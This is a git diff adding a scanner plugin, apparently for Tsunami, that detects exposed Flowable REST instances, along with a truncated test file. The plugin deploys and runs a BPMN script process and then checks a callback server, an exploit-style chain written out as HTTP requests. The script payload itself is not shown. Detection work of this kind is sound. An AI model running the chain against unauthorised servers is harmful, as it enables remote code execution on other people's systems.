diff --git a/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto new file mode 100644 index 000000000..29777ba6b --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI.textproto @@ -0,0 +1,131 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Flowable_ExposedUI" + author: "lanceD00M" + version: "0.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "FLOWABLE_EXPOSED_UI" + } + title: "Exposed Flowable instance" + description: "Flowable instance is exposed and can be used to compromise the system." + recommendation: + "Configure authentication or ensure the Flowable instance is not exposed " + "to the network. See " + "https://www.flowable.com/open-source/docs/header-rest/#installation-and-authentication." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +actions: { + name: "flowable_exposed_ui_fingerprint" + http_request: { + method: GET + uri: "/flowable-rest/docs/" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'case "specfile/process/flowable-swagger-process.json":' } + conditions: { body {} contains: 'case "specfile/dmn/flowable-swagger-decision.json":' } + } + } + } +} + +actions: { + name: "deploy_tsunami_process" + http_request: { + method: POST + uri: "/flowable-rest/service/repository/deployments" + headers: [ + { name: "Content-Type" value: "multipart/form-data; boundary=------------------------gxyhRpqEx2dfbXUDrMqEEL" } + ] + data: '--------------------------gxyhRpqEx2dfbXUDrMqEEL\r\nContent-Disposition: form-data; name="file"; filename="jsScript.bpmn"\r\nContent-Type: application/octet-stream\r\n\r\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\r\n--------------------------gxyhRpqEx2dfbXUDrMqEEL--\r\n' + response: { + http_status: 201 + expect_all: { + conditions: { body {} contains: '"id"' } + conditions: { body {} contains: '"name"' } + conditions: { body {} contains: '"deploymentTime"' } + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"id\":\"([a-f0-9-]+)\"" + variable_name: "deploymentid" + } + ] + } + } + } +} + +actions: { + name: "execute_tsunami_process" + http_request: { + method: POST + uri: "/flowable-rest/service/runtime/process-instances" + data: '{"processDefinitionKey": "jsScriptProcess"}' + headers: [ + { name: "Content-Type" value: "application/json" } + ] + response: { + http_status: 201 + expect_all: { + conditions: { body {} contains: '"id"' } + conditions: { body {} contains: '"processDefinitionId"' } + conditions: { body {} contains: '"processDefinitionDescription"' } + conditions: { body {} contains: '"value"' } + } + } + } + cleanup_actions:["cleanup_tsunami_process"] +} + +actions: { + name: "cleanup_tsunami_process" + http_request: { + method: DELETE + uri: "/flowable-rest/service/repository/deployments/{{ deploymentid }}" + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# +config { } + +workflows: { + actions: [ + "flowable_exposed_ui_fingerprint", + "deploy_tsunami_process", + "execute_tsunami_process", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto new file mode 100644 index 000000000..71236da3f --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Flowable_ExposedUI_test.textproto @@ -0,0 +1,107 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Flowable_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + mock_http_server: { + mock_responses: [ + { + uri: "/flowable-rest/docs/" + status: 200 + body_content: + 'case "specfile/process/flowable-swagger-process.json":' + 'case "specfile/dmn/flowable-swagger-decision.json":' + }, + { + uri: "/flowable-rest/service/repository/deployments" + status: 201 + body_content: '{"id":"15a2a09b-7833-11f0-be7c-d6c58d18e6b5","name":"jsScript","deploymentTime":"2025-08-13T10:48:45.013Z","category":null,"parentDeploymentId":"15a2a09b-7833-11f0-be7c-d6c58d18e6b5","url":"http://localhost:8081/flowable-rest/service/repository/deployments/15a2a09b-7833-11f0-be7c-d6c58d18e6b5","tenantId":""}' + condition: { + body_content: 'Content-Type: application/octet-stream\r\n\r\n\n\n\n\n\n\n\n